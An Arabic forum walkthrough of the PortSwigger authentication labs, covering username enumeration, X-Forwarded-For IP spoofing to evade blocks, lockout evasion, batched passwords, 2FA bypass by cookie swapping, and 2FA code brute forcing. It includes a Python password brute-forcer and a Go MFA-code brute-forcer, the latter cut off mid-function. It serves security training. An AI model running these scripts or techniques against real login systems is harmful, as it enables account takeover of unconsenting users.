[ Portswigger ] شرح وحل كل لابات الـ Authentication على موقع portswigger 📢😍

[3b0-0d3b0-0d is verified member.]

الـ Authentication vulnerabilities : تعتبر من أهم المشاكل الأمنية اللي ممكن تواجهها المواقع الإلكترونية، لأنها بتمكّن المهاجمين من الوصول لبيانات حساسة ووظائف مهمة. عشان هيك ضروري نعرف كيف نتعرف على هاي النقاط واستغلالها، وكيف نتجاوز ( التدابير الوقائية الشائعة) bypass common protection measures .

شروحات مهمه للأدوات المستخدمة بالشرح

https://sh3ll.cloud/xf2/threads/1389
https://sh3ll.cloud/xf2/threads/1573
https://sh3ll.cloud/xf2/threads/1729

النقاط الرئيسية​

1. آليات التحقق الشائعة : المواقع تستخدم آليات متعددة للتحقق من هوية المستخدمين.
2. نقاط الضعف المحتملة : كل آلية تحمل معها نقاط ضعف يمكن استغلالها.
3. نقاط الضعف الجوهرية : بعض نقاط الضعف تكون متأصلة في الآلية نفسها.
4. نقاط الضعف الناتجة عن تنفيذ غير سليم : طريقة تنفيذ الآلية يمكن أن تخلق نقاط ضعف إضافية.
5. تقوية آليات التحقق : كيفية جعل أنظمة التحقق أكثر قوة وأمانًا.

أنواع التحقق​

1. شيء تعرفه : مثل كلمة المرور أو إجابة سؤال الأمان.
2. شيء تملكه : مثل الهاتف المحمول أو رمز الأمان.
3. شيء تكونه أو تفعله : مثل البصمة أو أنماط السلوك.

الفرق بين authentication and authorization

1. الـ authentication هو التأكد من هوية المستخدم.
2. الـ authorization هو التأكد من ما يُسمح للمستخدم القيام به بعد التحقق من هويته.

كيفية ظهور نقاط الضعف في الـ authentication ​

1. آليات تحقق ضعيفة : لا تحمي بشكل كافٍ ضد الهجمات الـ brute-force.
2. أخطاء منطقية أو برمجية : تؤدي إلى تجاوز الآليات بالكامل broken authentication.

​

تأثير نقاط الضعف​

• إذا تمكّن المهاجم من تجاوز التحقق أو اخترق حسابًا آخر، يمكنه الوصول إلى جميع البيانات والوظائف المتاحة لهذا الحساب.
• إذا تم اختراق حساب ذي صلاحيات عالية، يمكن للمهاجم السيطرة الكاملة على التطبيق والوصول إلى البنية التحتية الداخلية.

​

أنواع نقاط الضعف في آليات التحقق​

• نقاط ضعف في تسجيل الدخول بكلمة المرور
• نقاط ضعف في التحقق بالـ multi-factor
• نقاط ضعف في آليات التحقق الأخرى

​

الوقاية من الهجمات على آليات التحقق​

• اتباع مبادئ وقائية لتقليل مخاطر الهجمات، مثل تعزيز أمان كلمات المرور ، وتطبيق التحقق متعدد العوامل ، والتأكد من صحة تنفيذ الأكواد.

اغلب المواقع بتعتمد على عملية تسجيل الدخول باستخدام كلمة مرور المستخدمون يا بسجلوا حساب جديد بأنفسهم أو بتم تعيين حساب الهم من قبل مدير النظام برتبط هذا الحساب باسم مستخدم فريد وكلمة مرور سرية اكيد واللي بقوم المستخدم بإدخالها بنموذج تسجيل الدخول للتحقق من هويته. بالحاله هاي يُعتبر معرفة كلمة المرور دليلاً كافي على هوية المستخدم يعني امان الموقع ممكن يتضرر لو مهاجم عرف كلمه سر لمستخدم ثاني



بأمكان المهاجم يحقق هاد الاشي بعدة طرق مثل الهجمات بالقوة الغاشمة (brute-force) وبعض العيوب في حماية هاي الهجمات وأيضاً راح نتعرف على الثغرات في المصادقة الأساسية لبروتوكول HTTP ...

الهجمات بالقوة الغاشمة​

الهجوم بالقوة الغاشمة هو لما يستخدم المهاجم نظاماً لتجربة وتخمين بيانات المستخدم الصحيحة تتم هاي الهجمات عادةً باستخدام قوائم كلمات المرور وأسماء المستخدمين بشكل آلي. هاي العمليه هي إجراء عدد كبير من محاولات تسجيل الدخول بسرعة عالية...

مش محاولات تخمين عشوائية بل بامكان المهاجمين استخدام المنطق أو المعلومات المتاحة علنًا لتحسين تخميناتهم زي تاريخ ميلاده ومعلوماته ...
واكيد هاد بزيد فعالية هاي الهجمات, المواقع التي بتعتمد فقط على تسجيل الدخول بكلمة المرور قد تكون عرضة للخطر إذا ما تم تطبيق حماية كافية ضد الهجمات بالقوة الغاشمة.

تخمين أسماء المستخدمين​

تخمين أسماء المستخدمين بصبح سهل إذا كان المستخدم بتبع نمط معروف مثل عناوين البريد الإلكتروني مثلا من الشائع رؤية تسجيلات دخول الأعمال بصيغة [email protected]

يمكن استخدام أسماء مستخدمين متوقعة للحسابات ذات صلاحيات عالية مثل admin أو administrator او حتى root

أثناء الفحص بنتحقق إذا كان الموقع بكشف أسماء المستخدمين علنًا مثل " هل يمكن الوصول إلى ملفات المستخدمين دون تسجيل الدخول؟ " حتى إذا كان المحتوى الفعلي للملفات مخفي يمكن يكون اسم المستخدم بالملف هو نفس اسم المستخدم لتسجيل الدخول بتحقق كمان من استجابات HTTP عشان نعرف اذا كانت بتحتوي على عناوين بريد إلكتروني مكشوفة.

تخمين كلمات المرور​

يمكن كمان تخمين كلمات المرور وبتتفاوت الصعوبة بناءً على قوة كلمة المرور.
بتعتمد اغلب المواقع على سياسات كلمات المرور التي بتجبر المستخدمين على إنشاء كلمات مرور معقدة نظريًا بتكون أصعب على الحواسيب لكسرها باستخدام القوة الغاشمة.

هذه السياسات تتضمن عادة:

• حد أدنى لعدد الأحرف ( غالبا 8 )
• مزيج من الأحرف الصغيرة والكبيرة
• وجود حرف خاص واحد على الأقل

ومع هيك اغلب المستخدمين بعملو كلمه سر سهله عشان يتذكروها وبعدلوها عشان تتناسب مع سياسة كلمة المرور. مثلا إذا لم يُسمح باستخدام mypassword قد يجرب المستخدمون !Mypassword1 أو Myp4$$w0rd بدلاً من ذلك...

إذا السياسة بتتضمن تغيير كلمات المرور بانتظام اغلب المستخدمين بعملو تغيير طفيف ويمكن التنبؤ به على كلمات المرور مثل تغيير !Mypassword1 إلى ?Mypassword1 أو !Mypassword2 .

هاي المعرفة بأنماط كلمات المرور المحتملة بتعني أن الهجمات بالقوة الغاشمة ممكن تكون أكثر تطور وفعالية من مجرد تجربة جميع الاحتمالات الممكنة...

تعداد أسماء المستخدمين​

تعداد أسماء المستخدمين بحدث لما المهاجم بلاحظة تغييرات بسلوك الموقع لتحديد ما إذا كان اسم المستخدم معين صالحاً
يعني لما يحاول المهاجم يسجل دخول باي اسم وهمي ويحكيله الباسورد خطأ هيك بنعرف انه في مستخدم بالاسم اللي جربه هاد الاشي بقلل بشكل كبير من الوقت والجهد الازمين لنعمل بروت فورس على بالقوه الغاشمه يعني بنقدر نعرف معلومه بتخفف علينا وقت طويل


أثناء محاولة الهجوم بالقوة الغاشمة على صفحة تسجيل الدخول لازم ننتبه لأي اخلافات بالـ :

• الـ Status codes : خلال هجوم القوة الغاشمة يكون الـ Status codes المرسل عبر HTTP هو نفسه في معظم المحاولات الفاشلة. إذا رجعت المحاولة Status codes مختلف فهاد مؤشر قوي على صحة اسم المستخدم.
• رسائل الخطأ : ببعض الأحيان بتكون رسالة الخطأ مختلفة اعتمادًا على إذا كان كل اسم المستخدم وكلمة المرور غير صحيحين أو فقط كلمة المرور غير صحيحة. من الأفضل للمواقع استخدام رسائل خطأ موحدة وعامة في كلتا الحالتين، عشان المهاجم ما يقدر يعرف ايجواب او اشي يساعده عن طريق رساله الخطأ
• أوقات الاستجابة : إذا كانت معظم الطلبات تُعالج بوقت استجابة مشابه، فإن أي تغيير بالوقت بيشير لحدوث اشي مختلف يعين زياده او نقصان. هاد مؤشر آخر على صحة اسم المستخدم. مثلا لما يتحقق الموقع من كلمة المرور فقط إذا كان اسم المستخدم صالحًا ، يعني هاد الاشي بادي لزيادة طفيفة بوقت الاستجابة. بأمكان المهاجم يخلي هاد التأخير أكثر وضوح بإدخال كلمة مرور طويلة جدًا بتخلي الموقع يستغرق وقتًا أطول لمعالجتها.

---

Username enumeration via different responses​

معطينا قائمتين بنحفضهن بملفات

بنلتقط طلب الـ login وبنبعثه للـ intruder

​

بنحدد على مكان اليوزر والباس وبنعمل Add وبنختار نوع الهجوم وبنروح على خيار البايلود الاول وبنحط فيه اسماء المستخدمين وبالبايلود الثاني الباسورد زي ما هو بالصوره

​

بعدها بنفرز النتائج حسب الـ Lengh

بنلاقي اننه بعطي رد مختلف عن الباقي انه كلمه السر خطأ وطبعا هاد بعني انه اسم المستخدم صحيح

هاد واحد من الردود الثانيه بعطينا الاسم خطأ

​

فـ بنحط الاسم بمكان اسم المستخدم وبنعمل هجمه على الباسورد وبطلع معنا الباسورد

​

---

Username enumeration via subtly different responses​

​

بنخزن كلمات السر بملف واليوزرز اللي معطينا اياها بالسؤال

• بنختار مكان للهجوم عليهن مكان اليوزر والباسورد وبنختار نوع الهجوم
• بنحط اليوزرز بالبايلود الاول
• بنحط الباسورد بالبايلود الثاني

بس نجرب نعمل هجوم بنلاقي في ارقام للـ Lengh مختلفه ف الحل برساله الخطأ
بنروح على الاعدادات وبننزل تحت عند Grep - Extract وبنضغط على Refetch response
وبنختار رساله الخطأ زي ما بالصوره

بنفرز النتائج حسب الـ Invalid اللي حطيناه

بنلاقي انه في طلب برجع الرسال بشكل مختلف عن الباقي
طلب ثاني
الفرق نقطه اه يا عزيزي بتأثر

بنحط اسم المستخدم مكان الاسم وبنعمل هجوم على الباسورد بنلاقي طلب برجع كود 302

​

---

Username enumeration via response timing​

بنلتقط طلب تسجيل الدخول وبنبعثه على الـ Intruder بنحدد على اسم المستخدم والباسورد وبنحط القوائم اللي اعطانا اياها بالسؤال


بعد ما نجرب اكثر من مره راح نلاحظ انو نحظرنا

عشان نتخطى هاد الاشي ونجرب براحتنا بنقدر نستخدم اشي اسمو X-Forwarded-For لتزوير عنوان IP

اللي بسمحلنا نغير ال ip الخاص فينا وبنعمل عليه بروت فورس عليه عداد من
بنجهز البايلود بنخلي للـ X-Forwarded-For عداد عشان يضل يتغير وما يعطينا حد لتجربه وبنحط باسوورد طويله عشان نشوف وقت الاستجابه لاسم المستخدم

بعد الفحص بنلاقي انه في اسم مستخدم اله الـ Response received اطول من الباقي وهاد بدل انه حاول يجرب الباسورد وطلعت غلط

يعني انه اسم المستخدم هو صح فهو طول هيك عرفنا اسم المستخدم

بنعدل البايلود الثاني بنخليه على الباسورد بعدها بنحط قائمه كلمات المرور اللي معطينا ااياها

بنلاقي انه في طلب الرد عليه بالرمز 302

اسم المستخدم وكلمه السر غير عن اللي طلعو لانوو كان معطيني بلوك 30 دقيقه شغلت لاب ثاني ورجعت عليه عشان ينعاد وعملت نفس الخطوات فوق

---

Broken brute-force protection, IP block​

لما نحاول اننا نجرب كلمات السر اكثر من 3 مرات بعمللنا بلوك
معنا حساب كلمه السر والباسورد اله صحيحات الا وهو wiener peter
ومعنا اسم الضحيه الا وهو carlos ف الحل هون انه نجرب كلمتين سر مختلفات من القائمه اللي معنا
ونخليه يحط كلمه السر واسم المستخدم اللي معنا عشان يكون هيك تجربتين خطأ ووحده صح وما يعطينا بلوك

فكره خبيثه فعلا بس لازم نكون هيك عشان نقدر نخترق خوارزميات التسجيل

عشان نحل التحدي لازم نستخدم ميزه خليني اشرحها بشكل بسيط
شرح الـ Resource Pool
الـ Resource Pool واللي هي آلية للتحكم بعدد الطلبات اللي بتنبعث للسيرفر وتوقيتها يعني إذا كننا بنعمل هجوم بنقدر نتحكم بعدد الطلبات اللي بنرسلها عشان ما نضغط على السيرفر أو يكتشفونا

خلينا نشرح الخيارات بطريقة بسيطة:​

​

​

• هون فيه خيار اسمه Default resource pool
  • الـ Concurrent requests : كم طلب بنقدر نبعث بنفس اللحظة زي ما موضح بالصورة، العدد 10 طلبات
  • الـ Request delay : الفاصل الزمني بين كل طلب والتاني
  • الـ Random delay : إذا فيه وقت تأخير إضافي عشوائي بنضاف
  • الـ Auto throttle : إذا الأداة تقلل سرعة الطلبات تلقائي لما السيرفر يعطي أكواد خطأ (مثل كود 429)

​

لو بدنا إعدادات خاصة فينا بنقدر ننشئ resource pool جديدة وبنحدد الخيارات التالية:

​

• الـ Name : بنسمي المجموعة الجديدة بأي اسم
• الـ Maximum concurrent requests : هون بنحدد أقصى عدد طلبات نرسلها بنفس الوقت
  • Fixed : التأخير بكون وقت ثابت بين كل طلب والتاني (مثلاً، 1000 ملي ثانية = ثانية وحدة)
  • With random variations : التأخير مش ثابت، كل مرة بختلف شوي
  • Increase delay in increments of : كل طلب جديد بزيد التأخير عن الطلب اللي قبله بمقدار معين (مثلاً، كل طلب بضيف 200 ملي ثانية)

فـ بنحدد انه يرسل طلب كل مره فقط

هسا بنكمل شغلنا بنروح على التارقت وبنحدد على اسم المستخدم والباسورد

​

بعدها بنروح على البايلود بخصوص اسم المستخدم حكينا بدنا نجرب محاولتين لاسم المستخدم اللي ما بنعرف كلمه السر الخاصه فيه carlos ومحاوله عشان ما ننحظر بنرسل طلب تسجيل دخول صحيح عشان نتجنب الحظر ف القائمه راح تكون هيك اول اشي بالحساب اللي بنعرف كلمه السر الخاصه فيه بعدها بالحساب الثاني اللي بدنا كلمه السر الخاصه فيه

wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos

وبنلسقهن اكثر من مره عشان نتاكد انه يجربهن كلهن مع كل الكلمات الموجوده عننا بالملف اللي معنا

​

طبعا كلمه السر لازم تكون اول خانه الكلمه اللي بنعرفها الخاصه بالمستخدم wiener اللي هي peter
فـ القائمه اللي معنا راح نوزعها هيك تصير المسافات للتوضيح

بأمكاننا نحل التحدي عن طريق كود بايثون بعمل هاد اللي حكيناه كله بشكل تلقائي

import requests
import time

login_url = "https://0a8400c203d6cbdcc980278c0053007e.web-security-academy.net/login"

known_user = "wiener"
known_password = "peter"
target_user = "carlos"


def load_passwords(filename):
    with open(filename, "r") as file:
        passwords = file.read().splitlines()  # قراءة الملف وتقسيمه إلى قائمة
    return passwords

session = requests.Session()

def login(username, password):
    data = {
        "username": username,
        "password": password
    }
    response = session.post(login_url, data=data)
    return response


def brute_force():
    passwords = load_passwords("pass.txt")

    for i, password in enumerate(passwords):
        print(f"Trying password for {target_user}: {password}")
        response = login(target_user, password)

        print(f"Status Code: {response.status_code}")
        print(f"Response Length: {len(response.text)}")



        if "Congratulations, you solved the lab!" in response.text:
            print(f"[+] Success! Password for {target_user} is: {password}")
            return
        elif "Your username is: carlos" in response.text:
            print(f"[+] Success! Password for {target_user} is: {password}")
            return
        elif response.status_code != 200:
            print(f"[+] Potential success! Password for {target_user} is: {password}")
            return

        if (i + 1) % 2 == 0:
            print("Resetting by logging in to wiener...")
            wiener_response = login(known_user, known_password)
            print("------")

        time.sleep(1)
    print("[-] Failed to find the password.")


brute_force()

---

Username enumeration via account lock​

عشان نحل التحدي هاد لازم نفهم شغله

الـ Account Locking هي طريقة بتستخدمها المواقع لمنع هجمات الـ Brute-force (محاولة تخمين كلمات المرور بشكل متكرر) عن طريق قفل الحساب بعد عدد معين من المحاولات الفاشلة مثلاً إذا حاولت تسجل دخول 3 مرات وفشلت بتم قفل الحساب مؤقتًا
هاي الآلية بتساعد بحماية الحسابات الفردية لكنها بتكشف أسماء المستخدمين الصحيحة إذا لاحظ المهاجم أنه بعض الحسابات بتم قفلها بعد عدة محاولات فاشلة

ومع ذلك الـ Account Locking ما بحمي بشكل كافي من الهجمات اللي بنحاول فيها نوصل لاي حساب عشوائي

عشان نتجاوز هاي الآلية بأمكننا ننشئ قائمة بأسماء مستخدمين محتملة وبنختار قائمة صغيرة من كلمات المرور (ما تتجاوز عدد المحاولات المسموح بها قبل القفل) باستخدام الـ Burp Intruder وبنجرب كل كلمة مرور مع كل اسم مستخدم بدون ما نقفل الحسابات لأن عدد المحاولات ما بتجاوز الحد المسموح فيه

كمان الـ Account Locking ما بحمي من هجمات الـ Credential Stuffing
اللي هي لما يستخدم المهاجم قوائم ضخمة من أزواج اسم مستخدم:كلمة مرور مسروقة من مواقع ثانيه
لأن الاغلب بستخدمو نفس بيانات الاعتماد على مواقع متعددة ممكن يكون بعضها صالح على الموقع المستهدف، اللي بسمحلنا باختراق عدد من الحسابات بوقت قصير بنحط البايلود الاول اسماء المستخدمين وبايلود كلمه السر ممكن نجرب نحط يا كلمات سر كثيره خطأ او بنحط مثل كلمه وبنخليه يبعث بايلود null عشان نشوف مين الحساب اللي بنقفل او بعطينا رساله خطأ انو جربنا كلمات سر خطأ كثيره بنحط نوع الهجوم هو وهاد هو شرحه الـ Cluster Bomb

الـ Cluster Bomb​

الـ Cluster Bomb هو نوع من أنواع الهجمات اللي بتيحلنا اختيار مجموعات متعددة من البيانات التي يمكن إدخالها

حيث يمكن اختيار مجموعة من البيانات لكل مكان في الطلب (حتى 20 مكان).
على عكس نوع الهجوم Pitchfork حيث يتم اختبار جميع مجموعات البيانات بشكل متزامن

يقوم Cluster Bomb بتكرار كل مجموعة بيانات على حدة، مما يضمن اختبار كل تركيب ممكن للمعلومات المقدمة .

لتوضيح فكرة الـ Cluster Bomb نحل مثال عليه

​

القائمة الأولى تحتوي على أسماء مستخدمين :
joel
harriet
alex

القائمة الثانيه تحتوي على كلمات المرور :
J03l
Emma1815
Sk1ll

نضغط على START ATTACK

هذه هي الطلبات

1	username=joel&password=J03l
2	username=harriet&password=J03l
3	username=alex&password=J03l
4	username=joel&password=Emma1815
5	username=harriet&password=Emma1815
6	username=alex&password=Emma1815
7	username=joel&password=Sk1ll
8	username=harriet&password=Sk1ll
9	username=alex&password=Sk1ll

كما هو موضح في الجدول، يقوم نوع الهجوم Cluster Bomb بأختبار كل احتمال عن طريق استبدال كل قيمة من كل مجموعة بيانات في الموضع المقابل في الطلب.

هجمات Cluster Bomb قد تولد كمية كبيرة من حركة المرور حيث يتم اختبار كل تركيبه. يمكن حساب عدد الطلبات التي تقوم بها هجمة Cluster Bomb عن طريق ضرب عدد الأسطر في كل مجموعة بيانات معًا. يجب أن نكون حذرين عند استخدام هذا النوع من الهجمات، خاصة عند التعامل مع مجموعات بيانات كبيرة.
قد يستغرق تنفيذ هجوم Cluster Bomb مع مجموعة بيانات متوسطة الحجم وقتًا طويلاً عند استخدام إصدار Burp Community

القائمه الثانيه بنحط فيها اي رقم مثلا 5

​

بنلاحظ انه في اسم واحد بس بعطي رساله خطأ فـ هيك عرفنا مين هو اسم المستخدم الصحيح

بعدها بنعمل بروت فورس بسيط على الباسورد

بنلاقي اكثر من رد مثل

بس لما نيجي نشوف واحد من الطلبات اللي الـ length الخاص فيها مختلف
بنلاقي انها ما بتعطي رساله خطأ بنجربها

---

Lab: Broken brute-force protection, multiple credentials per request​

1. المواقع بتستخدم User Rate Limiting لمنع هجمات الـ Brute-Force عن طريق حظر الـ IP ( لو صار محاولات دخول كثيرة بوقت قصير)
البلوك بنفك إما بعد فترة أو عن طريق المسؤول أو اذا بنحل CAPTCHA المواقع بتفضل الطريقه هاي من انهم يغلقو الحساب لأنها أقل عرضة لمشاكل مثل Username Enumeration و Denial of Service لكنها مش آمنة تمامًا لإننا ممكن نغير الـ IP أو ندخل كلمات سر كتيرة من خلال طلب واحد

2. أما HTTP Basic Authentication فهو طريقة قديمة وغير آمنة لأنها بترسل الاسم والباسوورد مع كل طلب ( وهاد خطر اذا صار Man-in-the-Middle Attack ) وما بتوفر حماية ضد هجمات البروت فورس أو الـ CSRF

بنلقط الطلب

الطلب بكون هيك شكله لاسم المستخدم والباسورد

​

الاسم احنا عارفينه هو carlos من السؤال
بننسخ قائمه كلمات المرور وبنلصقها بصيغه الـ JSON

بتلتسق عننا زي هيك

​

حابين تعرفو كيف عملت هيك يلا بنفيدكم اكيد
بتنزلو powertoys
بتفعلو خيار Advanced Paste

​

المهم نكمل
بنوخذ القائمه بنحطها بدال كلمه السر اللي حاطينها بالطلب
بصير عننا هيك شكل الطلب

بيجينا رد ب 302

​

يعني احدى هاي الكلمات هي صحيحه وبتفوتنا على my-account?id=carlos/
بننسخ الـ session وبنروح على المتصفح بنفتح الـ Inspect وبنفوت على التطبيق وبنلصق الكوكي

​

بعدها بنضغط على My account وهيك بكون فتنا على الحساب

​

---

2FA simple bypass​

المصادقة متعددة العوامل (MFA) بتكون أحسن من كلمة المرور لحالها لأنها بتطلب منك تدخل كلمة سر ورمز تحقق من جهازك
بس التنفيذ السيئ ممكن يخليها سهلة الاختراق مثلاً، لو الموقع طلب منك كلمة السر وبعدين رمز التحقق في صفحة ثانية، ممكن تلاقي إنك بتقدر تدخل على الصفحات المهمة من غير ما تدخل الرمز أصلاً
كمان، لو الموقع بعثلك الرمز على SMS ممكن المهاجم يعترض الرسالة أو يسرق رقمك بتبديل الشريحة (SIM Swapping) فـ MFA كويسة بس لازم تكون منفذة صح عشان توفر أمان حقيقي

بنسجل دخول بحسابنا بطلب مننا ندخل رمز التحقق (بنفتح الايميل بنظغط على كبسه Email client )

بعدها بوصلنا رمز على الايميل

بدخلنا على الحساب بنلاقي الـ url هو

بنسجل دخول بالمستخدم اللي اعطانا الاسم والباسورد تاعونه

بنغير الـ login2 ل my-account/

​

---

2FA broken logic​

ثغرة في منطق التحقق بخطوتين Two-Factor Authentication - 2FA

ببعض الأحيان بكون في خلل بمنطق التحقق بخطوتين بتسبب بأنه الموقع ما بقوم بالتحقق بشكل كافٍ من أنه المستخدم اللي كمل الخطوة الأولى هو نفسه اللي كمل الخطوة الثانية

مثلا
المستخدم بسجل دخول باستخدام اسم المستخدم وكلمة المرور بالخطوة الأولى :


هاد هو طلب تسجيل دخول بسيط بمعلومات بنعرفها

هون بتم تعيين كوكي (Cookie) خاص بحساب المستخدم بنغيره لاسم المستخدم اللي بدنا اياه :

بعدها راح يطلب إدخال رمز التحقق بندخله من الايميل وبنلقط الطلب وبنغير الكوكي اللي هي باسم المستخدم لاسم الحساب اللي بدنا نفوت عليه :

بنخليه هيك ​

بعدها بنبعث الطلب للـ intruder عشان نعمل هجوم على رمز التحقق الخاص بالمستخدم اللي بدنا نفوت عليه وبنحدد البايلود ارقام لحد 9999

الاغلب وقع هون وحكالك هيو شامل كل الارقام
طيب يا عزيزي خلينا نفكر شوي
رمز التحقق 4 خانات ليش نحط من 0 هيك صار خانه وحده
جد يعني ما فكرت وحكيت حلك يا عبود غلط

خلص هالمره سماح نرجع نركز بدال ما نختار ارقام وتطلع غلط بنختار Brute forcer وبنقيم الاحرف لانه بس ارقام بدنا وحجمهم يكون 4 خانات وبنخلي الحد الادنى والاعلى هو 4 خانات
راح نشرحها بالاب اللي جاي

​

راح تواجهنا مشكله الا وهي الـ session بنجرب نبعث الاسم مع رمز التحقق بدون الـ session بنلاحظ انه بحولنا على المسار طبيعي my-account

بامكاننا نسجل دخول باستخدام بياناتنا بعدها بنغير قيمة الكوكي لأي اسم مستخدم ثاني عند إرسال رمز التحقق :

فيديو توضيحي

---

2FA bypass using a brute-force attack​

شرح مفهوم Brute-forcing 2FA verification codes​

الـ 2FA (المصادقة الثنائية) هي طبقة أمان إضافية بنستخدمها عشان نتأكد من هوية المستخدم بعد ما يدخل اسم المستخدم وكلمة المرور, عادةً بتكون رمز التحقق الخاص بالـ 2FA أرقام بسيطة مكونة من 4 أو 6 خانات
على الرغم من أنه هاي الرموز بتوفر حماية إضافية، إلا أنها قد تكون عرضة لهجمات الـ Brute-forcing إذا لم يتم تنفيذ إجراءات أمان كافية تمنع ذلك

​

ما هو Brute-forcing​

هو هجوم يتم فيه تجربة جميع التركيبات الممكنة للأرقام أو الأحرف حتى يتم العثور على الرمز الصحيح. في حالة رموز التحقق ذات الأرقام القصيرة (مثل 4 أو 6 خانات)، يمكن أن يكون هذا الهجوم فعالًا جدًا إذا لم تكن هناك قيود على عدد المحاولات

كيف بامكاننا نمنع هاي الهجمات ​

تقييد عدد المحاولات إدخال رمز التحقق خاطئ قبل أن يتم حظره أو تسجيل خروجه تلقائيًا او ممكن زيادة تعقيد الرمز مثل استخدام رموز أطول أو تضمين أحرف وأرقام معًا وا ممكن إضافة تأخير زمني إدخال تأخير بين المحاولات بعد عدد معين من المحاولات الفاشلة

​

​

لماذا قد تفشل بعض الإجراءات الوقائية؟​

بعض المواقع بتحاول تمنع هجمات الـ Brute-forcing بتسجيل خروج المستخدم تلقائيًا بعد عدد معين من المحاولات الفاشلة ومع هيك، بامكاننا بطرق متقدمة نتجاوز هاي الإجراءات باستخدام أدوات مثل Burp Intruder مع وحدات ماكرو لأتمتة العملية

مثلا :
الـ Burp Intruder: أداة بتسمح بتكرار الطلبات بشكل تلقائي مع تغيير القيم (مثل رموز التحقق) اللي بنعرفها
الـ Turbo Intruder: امتداد لـ Burp Suite يمكن استخدامه لتنفيذ هجمات أسرع وأكثر تقدمًا

​

تطبيق عملي ​

بهاد الاب بنختبر ثغرة بنظام 2FA بتسمح بتنفيذ هجوم Brute-forcing
معنا معلومات تسجيل الدخول الصحيحة للمستخدم carlos:montoya، ولكن ما بنملك رمز التحقق الخاص فيه
الهدف هو نستخدم أدوات مثل Burp Intruder أو Turbo Intruder عشان نخمن الرمز الصحيح ونوصل لصفحة حساب كارلوس

​

اول اشي بنسجل دخول بالمعلومات اللي عننا بتفتحلنا صفحه بتطلب منا رمز التحقق 2FA بندخل اي رمز وبنلقط الطلب وبنرسله للـ Intruder

بنعيين نطاق الأرقام من 0000 إلى 9999 (لرمز مكون من 4 خانات) أو من 000000 إلى 999999 (لرمز مكون من 6 خانات)

عشان نستخدم الـ Turbo Intruder بننزلها

Turbo Intruder

Send large numbers of HTTP requests and analyze the results

portswigger.net

بنزل عننا ملف اختصاره bapp. وبنضيفه للاداه عن طريق الـ Extensions بنظغط على الكبسه تحت على اليسار Manual install وبنفتح الملف

او ممكن ننزله من المتجر داخل الـ Burp

​

اول اشي بنعمله بنجرب نبعث الطلب بنلاحظ انو بس نرسله مرتين بسجل خروجنا وبصير لازم نسجل دخول من جديد

فهون بيجي عننا مفهوم مار علينا مسبقا فوتو عليه وابحثو عن الكلمات هاي بتلاقو الشرح كامل للمايكرو اذا ما كان واضح هون

الـ Macro هاي بتسمح لنا نكرر نفس الإجراءات عدة مرات. الإعدادات بتكون سهلة
لازم نعمل قواعد لمعالجة الجلسات تحدد استخدام الـ Macro.
هاد بنعمل بالاعدادات في قسم الـ Sessions ، هنعمل Rule جديدة.

عند الضغط على Add

نضيف خيار admin/login/
الان من قسم Session Handling Rules فوق قسم الـ Macros

اضغط على Add . بتظهر نافذة جديدة فيها : Details و Scope.
اجعل الخيارات كما بالصورة
1. جعل التحديد فقط على الـ Intruder
2. جعل الـ URL Scope على خيار Use suite scope

​

كما نذكر في الشرح السابق في الـ Part الاول من الـ burp suite​

والان نرجع لقسم الـ Ditails ونظغط على Add ثم على Run a macro

​

ونختار المايكرو الذي انشأناه مسبقاً

​

نقوم بتغيير الخيارين بالاسفل ​

نجعل التحديد على Update only the following parameters and headers
وبالضغط على Edit نضيف كلمة loginToken

وبالاسفل
نجعل التحديد على Update only the following cookies
وبالضغط على Edit نضيف كلمة session

فيديو توضيحي للاجراءات السابقه

هيك صار عندك ماكرو جاهز بتحدث التوكن والكوكي في كل ريكوست.

عن طريقها بامكاننا نحل التحدي بس بتوخذ وقت طويل لكن عن طريق البرمجه مثلا بايثون او go اسرع

package main

import (
    "errors"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "strconv"
    "strings"
)

var (
    username = "carlos"
    password = "montoya"
    mfaLen   = 4
    mfaMin   = 1
    mfaMax   = 9999
    threads  = 20

    csrfTag = "<input required type=\"hidden\" name=\"csrf\" value=\""

    labURL = "https://acfa1f1f1ebe64c3801822390043003e.web-security-academy.net" // should NOT end with a /
    client = &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }

    finished = false
)

func main() {
    log.SetFlags(0)

    done := make(chan bool)
    for mfa := 0; mfa <= mfaMax && !finished; mfa += threads {
        for i := mfa; i < mfa+threads; i++ {
            go processMFA(generateMFACode(i), done)
        }
        for i := mfa; i < mfa+threads; i++ {
            <-done
        }
    }
    log.Println("set the session cookie value, then refresh")
}

func generateMFACode(code int) string {
    mfa := strconv.Itoa(code)
    for len(mfa) < mfaLen {
        mfa = "0" + mfa
    }
    return mfa
}

func processMFA(code string, done chan bool) {
    cookie, csrf, err := fetchLoginPage()
    if err != nil {
        log.Fatalln(err)
    }

    cookie, err = submitLoginForm(cookie, csrf)
    if err != nil {
        log.Fatalln(err)
    }

    csrf, err = fetchMFAPage(cookie)
    if err != nil {
        log.Fatalln(err)
    }

    successCookie, err := submitMFAForm(cookie, csrf, code)
    if err != nil {
        log.Fatalln(err)
    }

    if successCookie != "" {
        log.Println(successCookie)
        finished = true
    }
    done <- true
}

func fetchLoginPage() (cookie, csrf string, err error) {
    resp, err := http.Get(labURL + "/login")
    if err != nil {
        return "", "", err
    }
    if resp.StatusCode != 200 {
        return "", "", fmt.Errorf("get login response was not 200 (was %d)", resp.StatusCode)
    }

    cookieSet := resp.Header.Get("Set-Cookie")
    cookie = cookieSet[:40]

    bodyBytes, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return "", "", err
    }

    html := string(bodyBytes)

    csrfStart := strings.Index(html, csrfTag)
    if csrfStart == -1 {
        return "", "", errors.New("can't find csrf")
    }

    csrfStart += len(csrfTag)
    csrfEnd := csrfStart + 32
    csrf = html[csrfStart:csrfEnd]

    return cookie, csrf, nil
}

func submitLoginForm(cookie, csrf string) (nextCookie string, err error) {
    data := strings.NewReader(fmt.Sprintf("csrf=%s&username=%s&password=%s", csrf, username, password))
    req, _ := http.NewRequest(http.MethodPost, labURL+"/login", data)
    req.Header.Add("Cookie", cookie)
    resp, err := client.Do(req)

    if err != nil {
        return "", err
    }
    if resp.StatusCode != 302 {
        return "", fmt.Errorf("post login response was not 302 (was %d)", resp.StatusCode)
    }

    cookieSet := resp.Header.Get("Set-Cookie")
    cookie = cookieSet[:40]

    return cookie, nil
}

func fetchMFAPage(cookie string) (csrf string, err error) {
    req, _ := http.NewRequest(http.MethodGet, labURL+"/login2", nil)
    req.Header.Add("Cookie", cookie)
    resp, err := client.Do(req)

